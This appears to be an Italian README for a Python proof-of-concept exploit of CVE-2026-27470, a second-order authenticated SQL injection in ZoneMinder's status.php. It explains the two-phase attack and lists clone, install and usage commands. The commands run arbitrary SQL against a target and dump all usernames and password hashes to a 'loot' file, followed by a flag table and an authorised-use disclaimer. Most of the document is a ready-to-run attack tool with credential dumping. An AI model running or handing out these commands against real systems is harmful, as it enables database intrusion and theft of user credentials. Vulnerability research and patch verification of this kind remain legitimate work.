
Python PoC per CVE-2026-27470, SQL injection autenticata di secondo ordine in getNearEvents() di ZoneMinder (status.php), CVSS 8.8
Autore: d3vn0mi | CVSS 8.8 | Autenticato | Richiesto Permesso Events
CVE-2026-27470 è una vulnerabilità di SQL injection di secondo ordine in web/ajax/status.php di ZoneMinder — in particolare nella funzione getNearEvents().
| Dettaglio | Valore |
|---|
| Interessato | ZoneMinder <= 1.36.37 e 1.37.61 – 1.38.0 |
| Corretto in | 1.36.38 / 1.38.1 |
| Tipo | SQL Injection di Secondo Ordine |
| Autenticazione richiesta | Sì (qualsiasi utente con permesso Events) |
| CVSS | 8.8 (Alto) |
La vulnerabilità è una SQL injection a due fasi (di secondo ordine):
Fase 1 — Memorizzazione: L'attaccante rinomina un evento (o modifica il suo campo Cause) per includere un payload SQL. ZoneMinder utilizza una query parametrizzata per questa scrittura, quindi il payload viene memorizzato in modo sicuro nel database — nessun WAF o filtro lo blocca.
Fase 2 — Attivazione: L'attaccante richiede l'entità nearevents tramite l'API di stato. La funzione getNearEvents() legge il Name/Cause dell'evento memorizzato dal database e lo concatena direttamente in una nuova query SQL senza sanificazione, causando SQL injection.
Poiché il vettore di iniezione (dati memorizzati) è separato dal trigger (una richiesta GET pulita), questo bypassa la maggior parte delle protezioni a livello di input.
git clone https://github.com/d3vn0mi/CVE-2026-27470-POC.git
cd CVE-2026-27470-POC
pip install -r requirements.txt
python3 poc.py -t http://10.10.10.10 -u admin -p password
python3 poc.py -t http://10.10.10.10 -u admin -p password --query "SELECT user()"
python3 poc.py -t http://10.10.10.10 -u admin -p password --dump-users
Le credenziali vengono salvate in dumped_creds.txt per impostazione predefinita.
python3 poc.py -t http://10.10.10.10 -u admin -p password --dump-users -o loot.txt
python3 poc.py -t http://10.10.10.10 -u admin -p password --query "SELECT @@datadir" -o result.txt
python3 poc.py -t http://10.10.10.10 -u admin -p password --proxy http://127.0.0.1:8080
python3 poc.py -t http://10.10.10.10 -u admin -p password --field Cause --query "SELECT database()"
python3 poc.py -t http://10.10.10.10 -u admin -p password --event-id 42
python3 poc.py -t http://10.10.10.10 -u admin -p password -v
| Flag | Descrizione | Predefinito |
|---|---|---|
-t, --target | URL del target | (obbligatorio) |
-u, --username | Nome utente ZoneMinder | (obbligatorio) |
-p, --password | Password ZoneMinder | (obbligatorio) |
--query | Query SQL da eseguire | SELECT VERSION() |
--dump-users | Scarica tutti i nomi utente e gli hash delle password | |
-o, --output | Salva i risultati in un file | dumped_creds.txt |
--event-id | ID evento da usare come vettore di iniezione | (rilevato automaticamente) |
--field | Campo di iniezione: Name o Cause | Name |
--no-restore | Non ripristinare il nome dell'evento dopo lo sfruttamento | |
--proxy | URL del proxy HTTP | |
--timeout | Timeout della richiesta in secondi | 30 |
-v, --verbose | Abilita il logging di debug |
Questo strumento è fornito solo per scopi educativi e di ricerca sulla sicurezza autorizzata. Non utilizzarlo contro sistemi che non possiedi o per i quali non hai esplicita autorizzazione scritta per il test. Gli autori non sono responsabili di qualsiasi uso improprio o danno causato da questo strumento.